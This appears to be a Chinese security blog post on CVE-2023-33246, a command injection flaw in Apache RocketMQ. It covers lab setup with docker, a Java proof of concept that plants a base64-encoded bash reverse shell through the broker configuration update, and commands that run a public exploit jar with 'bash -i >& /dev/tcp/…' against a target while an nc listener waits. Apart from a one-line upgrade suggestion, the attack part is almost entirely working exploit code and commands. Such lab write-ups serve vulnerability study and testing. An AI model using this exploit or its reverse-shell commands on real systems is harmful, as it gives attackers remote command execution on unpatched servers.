免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
Apache RocketMQ 命令注入漏洞
02
—
漏洞影响
03
—
漏洞描述
在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。
04
—
title="RocketMQ"
05
—
靶场搭建
方式一:使用vulhub靶场
https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246
cd vulhub/rocketmq/CVE-2023-33246
docker-compose up -d
方式二:使用docker镜像搭建
有朋友说docker不会装,在kali上安装很简单的,一行命令搞定
sudo apt install docker.io
下面的命令切换到root账号操作起来比较省事
su
拉取镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
查看镜像
sudo docker images
启动namesrv:
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
启动broker服务(先创建并配置broker文件)
创建broker文件目录
mkdir -p /mydata/rocketmq/conf/
配置broker文件
vim /mydata/rocketmq/conf/broker.conf将下面内容复制粘贴到broker.conf配置文件中:
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X(宿主机IP)
启动broker:
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动Console:
docker run -d --name rmqconsole -p 8899:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=rmqnamesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
最后访问IP:8899
显示页面如下:
靶场搭建完成
05
—
漏洞复现
poc如下
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;
import java.util.Properties;
public class poc {
private static String getCmd(String ip, String port) {
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
return "-c $@|sh . echo echo "" + cmdBase + ""|base64 -d|bash -i;";
}
public static void main(String[] args) throws Exception {
String targetHost = "目的IP";
String targetPort = "10911";
String shellHost = "VPSIP";
String shellPort = "Listen-port";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
props.setProperty("filterServerNums", "1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
// admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
上述POC是Java代码,需要添加依赖
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>4.9.4</version>
</dependency>
06
—
漏洞利用
下载开源的EXP
https://github.com/Serendipity-Lucky/CVE-2023-33246
使用如下命令反弹shell
java -jar CVE-2023-33246.jar -ip "靶场ip" -cmd "bash -i >& /dev/tcp/攻击机ip/1122 0>&1"
再启动另外一台kali虚拟机(192.168.190.129)
启动监听
nc -lvnp 1122
执行攻击
java -jar CVE-2023-33246.jar -ip "192.168.190.130" -cmd "bash -i >& /dev/tcp/192.168.190.129/1122 0>&1"
远控成功。
07
—
修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论